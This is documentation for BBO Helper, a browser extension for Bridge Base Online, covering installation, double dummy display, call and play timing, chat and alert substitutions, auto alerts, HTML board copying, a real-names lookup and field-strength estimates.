BBO Helper browser extension

BBO Helper is a browser extension for Firefox, Google Chrome, Microsoft Edge, and Brave written by Matthew Kidd that enhances the functionality of the BridgeBase Online (BBO) application, standalone Hand Viewer, and MyHands web pages.

Other software: ACBLmerge, Payoff Matrix, Lead Solver, ACBLgamedump

Feature summary ... How to install

• Double dummy display embedded in History pane and standalone BBO Hand Viewer. Includes 5×4 double dummy table, par score, and par contract(s). Plus quick access to John Goacher’s online double dummy solver.
• See auction and card playing timing during play, review it later, and export it with PBN files.
• Export hands in Portable Bridge Notation (PBN) format for an entire session or a single board. Output includes auction, card play, timing information, double dummy contracts, and more.
• Automatic Alerts for opening bids and many common situations, for example, forcing notrump.
• Chat Window improvements, including automatic suit symbol substitution for bids, cards, and suits, ability to set and reuse a greeting, and seat based BBO handle substitutions (!w, !n, !e, and !t)
• Copy-and-Paste HTML for boards with many display options, including timing and board rotation. Paste into e-mail, Microsoft Word, etc just as you would expect. Or paste text of HTML into a website development tool.
• Session HTML generates a standalone HTML file containing a record of all boards for a given session similar to using the copy-and-paste aid for all boards.
• Real Names for most ACBL players. View at the table and in the people pane, see in tournament results, and include in board copy. Also view masterpoints and links to ACBL Live and ACBL Live for Clubs.
• Many improvements to BBO My Hands traveller display, including opening leads, auctions, an additional auction sorted traveller, contract and auction frequency summary tables, and a diagram of principal auction variations.
• Field strength estimation based on ACBL masterpoint totals. (Uses average NGS percentage for English Bridge Union hosted events.)

Table of contents

Installing BBO Helper

Installation varies slightly for different web browsers.

Note: after installing BBO Helper, you must close and reopen your BBO application tab if you have a tab opened already in order for BBO Helper to take effect. Alternatively you may refresh your BBO application tab (Ctrl+R or F5) which will log you out of BBO. From BBO Helper 1.4.3 onward, a message to this effect is displayed to the user.

To disable or remove BBO Helper refer to the Disabling or uninstalling BBO Helper section.

Firefox

Go to the following location on the Firefox Add-ons website:

https://addons.mozilla.org/en-US/firefox/addon/bbo-helper/

Click on the Add to Firefox button.

When the prompt displayed at the right appears, click the Add button.

Refer to the Permissions requested section of this documentation if you want to understand why these permissions are requested.

After BBO Helper is installed, you will see a confirmation dialog. By default, add-ons are not allowed to run in Private Windows because add-ons have privileges that can allow them to compromise the extra privacy. If you run BBO from a private window, you can check the “Allow this extension to run in Private Windows” before pressing Okay.

When BBO Helper is installed on Firefox, there is no immediate sign of its presence until you start a BBO session or open another BBO webpage that BBO Helper is active on.

Google Chrome

Go to the following location on the Chrome Web Store:

https://chromewebstore.google.com/­detail/­bbo-helper/­jlhdaeggmepllmioeamkmnmemmfiogjd

Click on the Add to Chrome button.

When the prompt displayed at the right appears, click the Add extension button.

Refer to the Permissions requested section of this documentation if you want to understand why these permissions are requested.

After BBO Helper is installed, you will see the confirmation dialog (second screenshot).

Once BBO Helper installed, it is recommended that you pin it to your address bar as discussed in the section Accessing the BBO Helper menu below.

Although you have accepted the permissions that BBO Helper has requested, Google Chrome doesn’t always entirely seem to trust your judgment. Sometimes it seems to want a one time confirmation for different types of webpages it operates on.

If the BBO Helper icon appears to be enclosed in a circle as in the two examples above, click on the icon and press the Reload button. It is best to do this before logging into BBO because reloading the page will log you off BBO.

You may be able to avoid this issue by going to the management page for BBO Helper below. (This type of link will only work in Google Chrome.)

chrome://extensions/?id=­jlhdaeggmepllmioeamkmnmemmfiogjd

Look for the “Site access” and make sure all sites are enabled. You can also enable BBO Helper in Incognito mode, Chrome’s equivalent of Firefox’s Private Windows.

Microsoft Edge

Microsoft Edge allows extensions to be added directly from the Chrome Web Store. So go to the following location:

https://chromewebstore.google.com/­detail/­bbo-helper/­jlhdaeggmepllmioeamkmnmemmfiogjd

If you have never installed an extension or never installed one from anywhere other than the Microsoft Edge Add-ons website, you’ll need to allow extensions from other stores. Click “Allow extensions from other stores” if you see the notice shown below.

Then confirm your choice as shown at the right.

Click on the Add to Chrome button which will appear after you have allowed extensions from other stores. Yes, you are actually adding it to Microsoft Edge but you are on the Chrome Web Store which doesn’t change the button message, even though it could by checking which browser is requesting the web page.

When asked to confirm the installation, click “Add extension” as shown at the right.

Refer to the Permissions requested section of this documentation if you want to understand why these permissions are requested.

In Microsoft Edge you will see the BBO Helper icon on the browser’s address bar after the installation is complete. Microsoft Edge seems to behave more like Firefox than Google Chrome in the sense of trusting you once you have chosen to install the add-on.

Brave Browser

If you value your privacy but prefer a Chromium based browser over Firefox, the Brave browser is for you. It lacks the reporting back Google and Microsoft in Chrome and Microsoft Edge respectively and bundles in protections that can only be achieved in Firefox after installing some of the add-ons mentioned previously, such as uBlock Origin.

To install BBO Helper, proceed as indicated in the Google Chrome section above. Similar to Google Chrome, you will need to pin the BBO Helper icon to the address bar manually. However, Brave seems to act more like Microsoft Edge regarding access, i.e. once you have chosen to install the add-on, no further website specific confirmations are required.

Accessing the BBO Helper menu

The BBO Helper icon looks like B++, a joke for programmers. BBO Helper takes BBO to the next level, i.e. BBO++ or just B++ when real estate is precious.

The BBO Helper icon has a slightly different placement in Firefox (top) and Chrome (bottom). In Firefox, the icon will appear in the address bar. In Firefox, add-ons that are active on all pages, e.g. the reddish shield-like uBlock Origin ad-blocker above, appear to the right of the address bar. Add-ons like BBO Helper that are only relevant to certain webpages, appear in the address bar when they are active.

Chrome makes the same distinction in principle but implements it strangely and is phasing out the distinction. In practice it is easier to have the BBO Helper icon appear at all times.

If you do not see the BBO Helper icon in Chrome, you need to pin it to the address bar as shown in the figure at the right. Click the Extension icon (circled in the figure), look for the BBO Helper extension, and then click on the pin symbol (marked with a magenta box in the figure).

Clicking on the BBO Helper icon brings up a menu, as shown at the right. Quick Settings allows quick access to some commonly changed checkbox settings as shown at the bottom right. Edit All Settings brings up the full set of options in a separate tab that lists your Firefox or Chrome add-ons.

Define Auto Alerts allows the auto alerts issued with the BBO application to be adjusted. BBO Helper ships with the developer’s choice for a 2/1 style of play. You probably want to make adjustments or disable Auto Alerts through the Quick Settings menu item → “Enable auto alerts” (uncheck).

The Copy Board as HTML, Double Dummy (BSOL), Save Board as PBN, and Toggle Real Names items have their own sections below in the documentation.

The Open BBO My Hands provides a quick way to reach the BBO My Hands auxiliary website. BBO Helper makes improvements to several types of pages that can be reached from BBO My Hands, notably travellers.

Many operations available from the menu have keyboard shortcuts. Pressing the Alt key together with the appropriate letter as indicated in the menu. On a Mac, use the Option key instead.

The specific items shown on the menu vary depending on the page with irrelevant items being hidden. On Chrome, where the icon is always present, only non-page specific items are shown when you are not on a BBO related web page and the keyboard shortcuts are not shown because they will not work when you are on a non-BBO web page.

The menu options below the dotted line are advanced features. Save BBO Traffic generates an HTML file with color coding for BBO client server traffic. If you want to know more about how BBO works, you can save some traffic files and view them in your web browser.

Double Dummy display

The BBO application and the BBO standalone Hand Viewer have two modes for displaying hands. Refer to the figure above where the Hand Diagram mode is shown at the left and the Pictures of Cards mode is shown on the right. You can toggle between these two display modes using the ☰ menu in the History pane.

BBO Helper only adds the double dummy information if the BBO application is set to Hand Diagram mode. The 5 denomination × 4 seats table is added to the lower left of the diagram and the par score and par contract(s) are added to the upper right corner. Double dummy information is not added to the Pictures of Cards mode because there is no place to consistently place it with good visibility.

In the example figures, West’s preemptive 3♣ overcall has prevented NS from reaching the par contract of 4♠ which only succeeds when played by South. But even 3♠-N would be better than defending 3♣-W, which can only be set one trick according to double dummy table.

The double dummy information is obtained from John Goacher’s Bridge Solver Online (BSOL) and follows his convention for displaying contracts. Of note, a par contract like NS 2♥+1 means that although NS can take nine tricks in hearts, it suffices to bid 2♥ because the opponents can not profitably sacrifice over 2♥. (Recall that all sacrifice par contracts are doubled though this may not happen in practice.)

Expect to wait about 1-10 seconds for the double dummy display to appear. BBO Helper waits up to 20 seconds for a response from BSOL before timing out. If the double dummy information for a hand has been cached, the double dummy display will appear quickly. If the double dummy display does not appear, try selecting a different board and then returning to the original board.

If you prefer to see the makeable contracts instead of the number of tricks that can be taken, uncheck the “Double Dummy shows tricks (not contracts)” in the Quick Settings menu.

Launching Bridge Solver Online in a separate tab

BBO’s built-in double dummy solver (GIB) in the History pane is locked to the contract played and the tricks as they were played. With BBO Helper you can launch BSOL in a separate tab and the walk through the play double dummy for any contract. Either choose Double Dummy (BSOL) in the BBO Helper menu or use the Alt+D keyboard shortcut combination in Windows or Option+D on a Mac. Mnemonic: D for double dummy.

The first time you try this, Firefox will block the attempt to open a new tab. This is normal and part of Firefox’s defense to obnoxious pop-up ads. Click on Options as shown below and choose Allow pop-ups for www.bridgebase.com. The double dummy display will now appear in a new tab and you will not be prompted about it again.

The BSOL double dummy display is a bit different from the BBO double dummy display. Double dummy optimal card plays are indicated by green and non-optimal plays indicated by yellow. BSOL shows the number of tricks the side on lead if each card is led whereas BBO shows the number of tricks for declarer relative to the contract, i.e. 2 means the play will permit two overtricks, 1 means the play will defeat the contract by one trick, and = means the contract will make on the nose.

Auction / Play timing display

BBO Helper always records the time taken for each call and card play when you are playing or kibitzing. By default this information is displayed on screen. Use the Quick Settings menu to change this.

The time for the last call is indicated in the bottom right corner of the auction box. The final pass in this auction took 23 seconds.

For tricks, the time required to play each card to the trick is shown. The appearance depends on whether the display is in Hand Diagram or Pictures of Cards mode.

In Pictures of Cards mode, the timing is shown at the outer edge of each card. In Hand Diagram mode, the timing is usually shown at the upper right but the location varies depending on circumstances, for example when you are defending a hand.

Yes, the basic BBO robots play very quickly. The web browser client spends about as much time animating the card play as the robots take to think. The time is posted as soon as the message arrives from the BBO server, ahead of the animation.

Chat Window enhancements

BBO Helper makes several improvements to the chat window.

You may set and record a table greeting by starting a message with a forward slash. The forward slash will be removed in the outgoing message. To repeat the message simply type a single forward slash into the chat window. This is useful for greeting opponents at the start of each round of a tournament or when a new player and/or pair is seated at a social game.

A table greeting is always sent to the entire table even if your chat selector (lower left corner) is set to a specific individual, Opponents, Kibitzers, etc. This is convenient if you have been having a private chat with your partner after a round has completed.

Incidentally, BBO Helper disables the Firefox Quick Find feature in the BBO application and the standalone BBO Hand Viewer. Quick Find brings up a text search dialog at the bottom of the web page when the forward slash or apostrophe key is pressed outside a text box. This generally useful functionality is not helpful in BBO because there is nothing to search for and opening the search dialog at the bottom of the page causes BBO to rearrange everything else on the page which is irritating and confusing. The regular find (Ctrl+F) still works though if you really need to search.

BBO handle substitution

The expressions !w, !n, !e, and !t are replaced with the BBO handle of the player in the West, North, East, and South seat respectively. Note: !t rather than !s for South because !s is used by BBO for the spade symbol.

Automatic suit symbol substitution

BBO replaces !c, !d, !h, and !s with the respective suit symbol. But typing all those exclamation marks is annoying. BBO Helper automatically recognizes bids, individual cards, and suits and inserts the appropriate exclamation marks for you. For example, if you type, “I led the dq from dq93 because you overcalled 2d.” BBO Helper will convert this to “I led the !dq from !dq93 because you overcalled 2!d.” and it will appear in the chat window as “I led the ♦Q from ♦Q93 because you overcalled 2♦.”

The conversion is case insensitive save for a few practical exceptions, and all honor cards are capitalized during the conversion. 10, T or t may be used for a ten. Suits are only converted if they are rank ordered. However, you may append any number of lowercase x characters to indicate unknown or unimportant small cards, e.g. skjxxx is converted to ♠KJxxx.

Exceptions: SA and CA are not converted to ♠A and ♣A when fully capitalized because they often refer to the Standard American style of bidding or California respectively. Hx is not converted to ♥x because it is often convenient to use it to refer to an honor-doubleton. cat, hat, and sat are not converted to ♣AT, ♥AT, and ♠AT respectively because they are common English words. dat is treated the same way for consistency. However, you may force the conversion with cAT, dAT, hAT, or sAT.

Honor cards are locale specific starting with BBO Helper 1.4.9. For example, if the user's locale is French or the BBO application is explicitly invoked in French, i.e. as bridgebase.com/v3/?lang=fr, use the letters A (Ace), R (Roi), D (Dame), and V (Valet), instead of AKQJ. Suits are not localized, owing to conflicts such as coeur (hearts) and carreau (diamonds) in French where two suits have the same initial letter, and for consistency with the main BBO application. Continue to use s, h, d, and c.

If the user’s locale is Romanian or the BBO application is explicitly invoked in Romanian, i.e. as bridgebase.com/v3/?lang=ro, ca, da, and sa are not automatically converted to the respective ace because these are common Romanian words. Either explicitly include the ! or use cA, dA, and sA.

Bare suit letters, e.g. h, are not converted to suit symbols. Text inside a URL is also not converted; for example .dk (Denmark’s top level domain) in a URL is not converted to ♦K.

Here are some examples of suit symbol substitutions:

Input	Result
Lead the hk	Lead the ♥K
Don’t ask	Not converted to “Don’t a♠K” because “letter-like” a before sk prevents sk from being interpreted as a card.
Øst (Danish for “East”)	Not converted to “Ø♠10” (Ø and other letter-like Unicode characters are understood to be letter-like since BBO Helper 1.4)
Preempt 3D, and win the opening lead in dummy with the ca!	Preempt 3♦, and win the opening lead in dummy with ♣A! (Punctuation characters such as commas are not “letter-like”)
After the sq, switch to a low heart.	After the ♠Q, switch to a low heart.
Is ckt9xxx good enough for a 3c preempt?	Is ♣KT9xxx good enough for a 3♣ preempt?
What about c9kq532?	Not converted because cards are not rank ordered, i.e. not recognized as a suit.
How about caKj10xx?	How about ♣AKJ10xx? (mixed case is fine, and so is 10 for ten)
Did you know that the Laws did not always prohibit bidding impossible to make contracts like 8d?	8d is not converted to 8♦ because it is not an allowed bid.
Very few in CA still play SA.	CA and SA are not converted to ♣A and ♠A because there are special exceptions for California (CA) and Standard American (SA) when fully capitalized.
drv8xx	♦RV8xx (if the locale is French where R = Roi and V = Valet)

Claim suit symbol substitution

Automatic suit symbol substitution also works in the claim dialog. In this case, bare suit letters are converted because in this restricted context the user almost certainly means a suit. So the claim, “h on good c” will be converted to “♥ on good ♣”, implying that declarer intends to pitch losing heart(s) on established clubs.

Alert dialog substitutions

Input	Output
f1	Forcing for one round
gf	Game forcing
nf	Non-forcing
nfc	Non-forcing constructive
hs	Help suit
hsgt	Help suit game try
nat	Natural
p/c	Pass or correct
pen	Penalty
to	Takeout
t/o	Takeout
un	Undiscussed
xf	Transfer
c1	First round control
c2	Second round control
c12	First or second round control
cc1	Cheapest first round control
cc2	Cheapest second round control
cc12	Cheapest first or second round control

Bare suit symbols are substituted in the alert dialog both when initially making a call and also when modifying it or adding an explanation to a previous call, typically at the request of the opponents.

Additionally, the short strings in the table at the right are expanded as indicated. The substitution is case insensitive and only occurs if it is unaccompanied by other text, save for possible leading or trailing white space.

You may disable alert dialog substitutions by unchecking the Enable Alert Substitutions option added in BBO Helper 1.3 in the full settings.

The alert window is different from the chat and claim windows. The symbol substitution will be seen by your opponents and will appear in the permanent record of the hand. However you will not see the symbol substitution on your screen when alerting a call at the time you make it. This is due to limitations on how well BBO Helper can integrate with BBO without risking adverse side effects. But you will see a brief message like, “Sent as: Game forcing” announcing the substitution.

The Auto Alert functionality covers the most common transfers, but you may find the xf substitution convenient for less common transfer situations.

Auto Alerts

BBO Helper can automatically alert some common bidding situations. This is a convenience rather than a comprehensive functionality. BBO Helper ships with the developer’s choice for a 2/1 style of play. You probably want to make changes. Or you can disable Auto Alerts through the Quick Settings menu item → “Enable auto alerts” (uncheck).

When an auto alert occurs, the user is briefly shown the explanation provided as in the example at the right; however it does not appear in the usual BBO explanation text box owing to limitations on how well BBO Helper can integrate with BBO without risking adverse side effects. If the Auto Alert functionality provides an explanation that is incorrect, you may amend it by clicking on the BBO explanation box and providing your own explanation, or “Sorry, NF,” or whatever applies. If you provide your own explanation when making a call, the auto alert functionality will not change your explanation.

Explanations can be provided for any opening bid through 3NT. You may provide a separate explanation for 1NT when vulnerable; otherwise the first explanation for 1NT will be assumed to apply. There is a separate box for defining 2-level opening bids in fourth seat. Otherwise no distinction is made between seat and vulnerability, though you could provide that in an explanation, e.g. “NV: Majors 5-5 or better; V: diamonds”.

Please use Auto Alerts to promote full disclosure. If your 1♦ shows four or more cards unless you are 4=4=3=2, then put that in. It is impracticable to type it every time but the announcement is easy with BBO Helper. Likewise, Precision players seldom self-alert 1♥ and 1♠ as 10-15 HCP (or similar) because it is too tedious but BBO Helper makes it is easy. It is reasonable to assume that almost everyone has some basic familiarity with Precision in an ACBL open regional event; this is not a reasonable assumption in an ACBL Support Your Club game on BBO.

There are separate Auto Alert sections for responding to 1NT, various other non-competitive responses, your direct seat defense to 1NT, and a few miscellaneous scenarios.

All Auto Alert settings selected by a pulldown menu include the option, “Other”. Choose this if no other option matches your system. When “Other” is selected, BBO Helper will not provide an alert though you may still need to manually alert.

BBO Helper 1.4.7 added the new option Append [B++] to all auto alerts in the BBO application options section of the full settings. If this is selected, [B++] will be appended to all auto alerts. Flagged alerts will be indicated in the board copy-and-paste aid and Session HTML by B++. If you launch BSOL, flagged alerts will appears as (B++), because BSOL swallows up straight brackets. Note: alert dialog substitutions such as “hsgt” → “Help suit game try” are not flagged because with substitutions the player almost certainly deliberately intended the alert.

Copying Boards as HTML

BBO Helper can create a nice HTML presentation of any board in the BBO application History pane or the BBO standalone viewer which you can then copy to e-mail, Microsoft Word, or any other application that accepts HTML from the clipboard. This is very handy for teaching, bridge writing, or partnership discussion. Pulling up the display is also a quick way to review the timing information for a board provided you have “Show timing on board copy HTML” checked on the Quick Settings menu.

The BBO Helper Copy-and-Paste Aid addresses a major BBO shortcoming, the inability to easily copy a board. Previously, many people resorted to screenshots because that seemed like the only convenient solution. But an image doesn’t represent bridge in an intelligent manner, often looks poor when resized, and cannot be easily edited. Another solution was to use John Goacher’s Bridge Solver add-on for Google Chrome, use it launch his BSOL (as you can do with BBO Helper too), use the Save button in BSOL to save the board in Portable Bridge Notation (PBN) format, and then import the PBN into a program like Bridge Composer where you can format it exactly as you wish. This is much cleaner and BridgeComposer is inexpensive, but it is still a roundabout procedure.

BBO Helper puts an end to this frustration. To copy a board select Copy Board as HTML from the BBO Helper menu or use the Alt+H keyboard shortcut on Windows, or Option+H on a Mac. Mnemonic: H for HTML. This will bring up a display like the one below.

To close the copy-and-paste aid, click on the red close button at the upper right or press Alt+H again. If you switch boards in the BBO application History screen or change the display settings and want to update the copy-and-paste aid you can use the Alt+R keyboard shortcut. This is faster than closing and reopening the copy-and-paste aid. Mnemonic: R for Refresh.

If the copy-and-paste aid does not appear quickly, it is waiting for the BBO application to finish loading the auction for the current board in the History screen. The copy-and-paste aid does not wait for double dummy information. If it is not already available, it will not be displayed even if requested via the “Include double dummy table, par, and par contract(s)” in Full Board Copy display section of the full options page.

This example shows the four color suit symbols which you can enable via “Four color suits on board copy HTML” in the Quick Settings menu. Otherwise, the traditional red and black suit colors will be used.

You can use the blue buttons on the top row to rotate the deal or click on the blue star button to automatically position declarer at the bottom as is conventional in bridge books.

When the board is rotated to your satisfaction, click on the fifth button, circled in the screenshot below. If you are using Google Chrome, this will copy the board directly to the clipboard and briefly display the message “Board copied to the clipboard”. Then you can paste it anywhere via Ctrl+V (⌘+V on a Mac). If you are using Firefox, a two step procedure is required. First click on the fifth button to select the entire contents of the board. Then press Ctrl+C (⌘+C on a Mac) to copy the entire board to the clipboard at which point you can paste it anywhere via Ctrl+V (⌘+V on a Mac). When the board is selected, you will briefly see a message reminding you to press Ctrl+C to copy it to the clipboard. The reason Firefox requires the two step procedures is explained in A clipboard saga.

Because the content is copied as HTML rather than an image, it can be edited in the destination document, and text will render nicely because it remains text rather than image pixels. For example, you could easily change the defender’s names to LHO and RHO to protect the guilty or edit player names that are overly long, perhaps using a first initial and a surname.

Warning: Don't try selecting the board by clicking in the upper left corner and dragging to select. This method misses invisible little bits of the HTML and this will cause formatting issues and font size weirdness when you paste into the destination document. Use the button to select the contents of the board.

BBO Helper has many options to control what is displayed in the HTML board copy and how it is displayed. From the Quick Settings menu you can control whether or not to show the timing. Here is an example that shows timing, turns off the double dummy table, displays real names instead of BBO handles, uses traditional red and black for suit symbols, and displays tens as T instead of 10.

When timing is shown, breaks in tempo (BITs) are flagged with yellow (10+ sec), long BITs are flagged red (30+ sec), and insta-actions (under 1 sec) are flagged with light blue. These thresholds can be changed in the full settings under the Time flagging thresholds section.

(Partner was really stymied on this board. He felt like he should do more with 5-5, but 3♦ is game forcing for us and 2NT doesn’t seem right. I’m glad he passed; had he bid 2NT I would have had a real ethical dilemma because I wouldn’t even know whether Pass or 3NT was the appropriate logical alternative.)

Times shown for the first call are about five seconds longer than the player’s actual thinking time because the clock starts when the client receives the deal but the player cannot evaluate their hand until the dealing animation ends (unless they choose to turn off BBO’s animation).

The robots play very quickly. Many of their actions require less than 0.05 sec and except at trick one almost all occur in under 1 second. When a robot is declaring, much more time is spent animating the play for the benefit of the human observer than is spent on the actual play. Consequently, the completed deal arrives in the History pane before the deal is fully played out in the main deal window.

Under the Full Board Copy display section of the full settings you can control whether to include the timing, auction, contract, card play table, auction explanations, double dummy table and par, HCP diagram, date and time of the event, links to the BBO Handviewer and Bridge Solver, and an overall bounding box. Timing can only be shown if it was previously recorded. So if someone sends you a BBO Handviewer link, you will probably not have the timing information unless you happened to be playing or kibitzing the board. Auction explanations are only shown when the copy-and-paste aid is invoked from the standalone BBO Handviewer rather than from the BBO application.

There are several options for controlling details of the appearance, e.g. two or four color suits, 10 vs. T, — or empty space for indicating void suits, N or NT, P/X/XX or Pass/Dbl/Rdbl, etc.

When timing is shown, the bluish background of the BBO style auction box can make the timing hard to read. You might prefer to uncheck the “Style the auction box similar to BBO” in the Partial Board Copy display section of the full settings.

When playing against robot(s), their lengthy explanations of their calls can be distracting. In the full settings, you can check “Hide robot bidding explanations”. This will hide explanation of robot bids while still displaying what the robot thinks the human bid means if the human is partnered with a robot. Also, you may see explanations that appear to be cutoff at the end, e.g. “15-17 H” when “15-17 HCP” is meant or “2-5 !” when the ! should be followed by a letter for a suit symbol substitution for say “2-5 ♣”. These issues are due to BBO. When you copy-and-paste the board, you can edit these explanations in the destination document.

For details about the robot bidding system see GIB System Notes and then click through to see the convention card given for GIB near the top of the page.

Partial boards

If you play through one or more tricks in the History pane or the BBO Hand Viewer before invoking Copy Board as HTML, the board will be displayed as it is at this point. Partial boards only show the hands, players / seat names, board number, and contract. The board number and contract may be turned off to present a diagram fully focussed on the card play.

Currently, you do not get a partial board if BBO is set to Hand Diagram mode and played cards are not hidden (the default) but instead grayed out. A future version of BBO Helper will handle this case properly.

Copying HTML as plaintext (power users only)

If you want a plaintext representation of the HTML for the board diagram, click the HT
ML button. You’ll briefly see the message, Board HTML copied to clipboard as text. Then you can paste the clipboard directly into an HTML editor. Some other programs can also accept HTML directly, for example the Thunderbird e-mail composition window via Insert (menu) → HTML.

Copying hand(s) or other elements from the board

Sometimes you might want to copy just a single hand, a pair of hands, the auction, the card play table, the double dummy table, or some other element from the copy-and-paste aid. The intuitive click and drag might work but the most reliable technique is to use the Firefox Ctrl+click select method to accurately pick up the entire HTML for the element, i.e. the full table or HTML <div> wrapper element. Hold down the Ctrl key and left click near the upper left corner of the element you wish to select. You’ve succeeded if a blue rectangle appears around the desired element. It takes a bit of practice to get it right. In the example below the West hand has been selected.

Press Ctrl+C (⌘+C on a Mac) to copy the selected item to the clipboard.

Once one element has been selected, you many select another by Ctrl+click at another location. In the following example both the East and West hands have been selected.

If you copy-and-paste this selection you should see something like the following in the destination document:

To copy the double dummy table, Ctrl+click where it says Par Score so that you select the entire double dummy table rather than individual cells of it. To copy the entire card play table, click just a bit to the left of it. You’ll get the hang of it with practice.

Google Chrome doesn’t seem to have a direct equivalent to the Firefox Ctrl+click select method but the plain old click-and-drag method tends to work better in Chrome than Firefox so usually that will work well enough. However, it will not handle selection of multiple items at once, such as the East and West hands above.

Language support

If you copy a board from the BBO application, it will use terms specific to your language. This includes the letters used for honor cards, the notrump designation, the compass directions, and the words for Pass, Double, and Redouble (unless you are using short calls, which are always P, X, and XX). Here is an example for Danish.

Danish uses E, K, D, and B (Es, Konge, Dame, Bonde) instead of A, K, Q, and J, UT (Uden trump) for notrump, and Pas for Pass.

Note: the BBO Viewer and Bridge Solver hyperlinks use the standard honor symbols because the board must be passed in a standard format to both the BBO Handviewer and Bridge Solver Online.

If you are communicating with an international audience, you might prefer that the board copy-and-paste aid be localized to English even though you are using the BBO application in your own language. If so, you can uncheck “Use local language for board display rather than English” in the full settings.

Hands copied from the standalone BBO Handviewer will always be in English because BBO itself has not localized the Handviewer.

HTML details (for power users only)

The HTML copied from the copy-and-paste aid is font agnostic. It does not specify a font or a font size. It only uses percentage units to make some text relatively bigger (the contract) or smaller (double dummy table, HCP table). This means the copied HTML will inherit the font and font size of the embedding document. If that font happens to be Zapf Dingbats (ugh!), it will not look good, but in general it works well.

By default the spade and club suit symbols are explicitly set to black (unless you have chosen four color suits). There is an option under the Card, Bid, and Suit appearance section that you can uncheck to cause the spade and club symbols to match the foreground color of the embedding document.

The generated HTML styles everything inline. It's not safe to assume that any browser will fully pick up CSS when copied. Chrome comes close; Firefox in my experience does worse.

The top level <div> element contains several data- attributes: data-board, data-deal, data-auction, data-contract, and data-lin. These may prove helpful for programmatic manipulation.

The generated HTML includes classes, all prefixed with bh- (i.e. BBO Helper) to reduce the chance of collision with the embedding document: bh-north, bh-west, bh-south, bh-east, bh-bnum, bh-auction, bh-cardplay, bh-dd, bh-contract, bh-hcp. These could be used by the embedding document to apply further styling. Inline styling takes precedence over normal CSS so you must use the !important rule in your CSS definitions to override the inline styling.

Real Names

Much was lost when bridge went fully online. In face to face play you always knew whom you were playing against. All you had to do was look at their properly filled out convention card, a requirement. Even if it was incomplete or missing, you could always examine the scoring printout or the ACBL Live website and work out whom you played against each round. Despite exhortation by club managers, many ACBL players went through the entire pandemic period without putting a name in their BBO profile.

The Real Names feature translates about 57,000 BBO handles of ACBL players to real names, covering most of the regulars. (About half the ACBL membership did not make the transition to online bridge or did so only minimally.) Real Names also includes another 11,000 non-ACBL players, including most BBO stars (1675), most BBO Royal Award holders, 2,600 Deutscher Bridge-Verband players, 1,400 English Bridge Union players, 500 Indonesian players, frequent players in special BBO clubs, for example the Sky Club, and many regulars from the social games displayed as “interesting tables” in BBO.

Press Alt+N (mnemonic: N for names) in the BBO application to show the real names of the players at the table, as shown in the figure at the right. In this example, three players are known, two from New Hampshire, but nothing is known about Wally1 in the West seat. Alt+N also works in the standalone BBO Handviewer. Press Alt+N again or click the close button in the upper right to hide the display.

In the “Full Board Copy display” section of the BBO Helper options, you may select “Name (if known) or BBO [handle]”. Real names will be used when known; otherwise the BBO handle will be used. BBO limits handles to ten characters; full names can be quite a bit longer which can throw off the board display. However, since the output is HTML you can directly edit the player names in the embedding document until it looks right, perhaps shortening to a first initial and last name or just a last name.

Press Alt+M (mnemonic: M for masterpoints) in the BBO application to show the ACBL masterpoint totals of the players at the table, as shown in the figure at the right. In this example, three players are ACBL members but the West player is either not an ACBL members or has not been mapped to an ACBL player number. Press Alt+M again or click the close button in the upper right to hide the display. You can toggle between the name and masterpoint displays, for example Alt+M, Alt+N, Alt+N, will shows masterpoints, switch to names, and then close the display.

Clicking on the various icons for each player will reveal additional information about the player in a new browser tab. The B icon will show the last seven days of boards from BBO My Hands. If you are not already logged into BBO My Hands, which is separate from logging into the BBO application, you will be prompted to login. The icons that look like wireless signal strength indicators will open the ACBL Live (for tournaments) and ACBL Live for Clubs pages respectively for the player. Note: ACBL Live for Clubs pages can be slow to load—this is an ACBL issue. If the greenish circular icon is present, clicking on it will open the player’s World Bridge Federation (WBF) player page. About 3,600 players have been mapped to the WBF database, including 90% of the BBO stars. If the WBF icon is followed by text, e.g. WGM, this indicates one or more WBF titles, for example a WBF Grand Master. You can get to a player’s WBF masterpoints page by clicking on any of the masterpoint links provided to the right of the player’s photo.

ACBL players convicted of cheating are indicated with a and players who have resigned from the ACBL to avoid conviction are indicated with an . Clicking on the cheater indication will open new browser tab(s) containing documentation related to the conviction such as ACBL Hearing Reports and any subsequent Appeals and Charges (A&C) review.

When you mouse over a name in People pane, the player’s real name is shown at the right. In the example at the right, Ulmus is revealed to be David Oakley. This functionality works for Friends, Hosts, Stars, and Ignores (aka Enemies). If you find this feature distracting, you can disable it from the Quick Settings menu by unchecking “Show name tooltip in people tab” or “Show real name tooltip in People tab (friends, hosts, stars, ignores)” in the full Options page.

When tournament results are displayed in a separate tab, real names are added as an additional column. See the example in the Field Strength section immediately following.

Field Strength estimation

BBO Helper can estimate the field strength of an event if there are enough ACBL players in the event whose BBO handles are in the BBO Helper player database.

Bring up the BBO Tournament Results pop-up and open it in its own browser tab by clicking on the button for that, the one shown inside the orange rectangle in title bar of the diagram at the right.

In the separate tab, there will be an additional Strength line, directly under the Title line, near the top of the page, e.g. something like, “Strength 1310 MP, estimated from 519 ACBL players (54% of field)”.

This value represents the geometric mean of the ACBL masterpoint total of all players whose masterpoint total is known. I have argued previously that the geometric mean is a better indicator of field strength than the arithmetic mean. In a geometric mean, the numbers are averaged in a logarithmic sense, rather than an arithmetic sense, for example, the geometric average of two players with 100 MP and 10,000 MP is 1,000 MP, not 5,050 MP. Less experienced players drag down the geometric mean more than the arithmetic mean. A field with a high geometric mean should in principle be uniformly fairly tough and offer few gifts. For most ACBL events, the field strength will be based on 80% or more of the field.

BBO Helper also shows player names for the overall leaders (Honor list) and each individual section. A truncated example is shown below. Unknown names are indicated with a question mark. If no names are known for a pair or team, the field is left blank. For ACBL players, their home state or Canadian province is shown next to each name. For non-ACBL players their country is shown. From BBO Helper 1.4.3 onward, a ★ badge is displayed next to BBO stars and from 1.4.4 onward the J,Q, K, and A letter badges are shown for players who have achieved a BBO Royal Award. The player database contains 86% of the players with Royals Awards. Clicking on the star badge will open the player’s WBF page, if known.

For events hosted by the English Bridge Union (EBU), BBO Helper 1.4.5 and later shows the field strength as a percentage, specifically the average National Grading System (NGS) average for all players who have been mapped the NGS database and who have a “mature” (as opposed to “evolving”) grade.

When an event has a very large number of participants, the player lookup for names, starts, royal ranks, and strength can bog down the web browser under some circumstances. If there are more than 1,200 BBO handles to lookup, the lookup is not automatically performed. Instead, the user is presented with a warning just below the Title / Host / Tables area and the user is given the option to manually invoke the lookup by clicking on a Go button.

Since BBO Helper 1.4.9, Honor Lists, which are different from Tournament Results in that they only show the overall leaders, are also supported. Note: for some small events, Honor Lists may show all participants.

Portable Bridge Notation (PBN) support

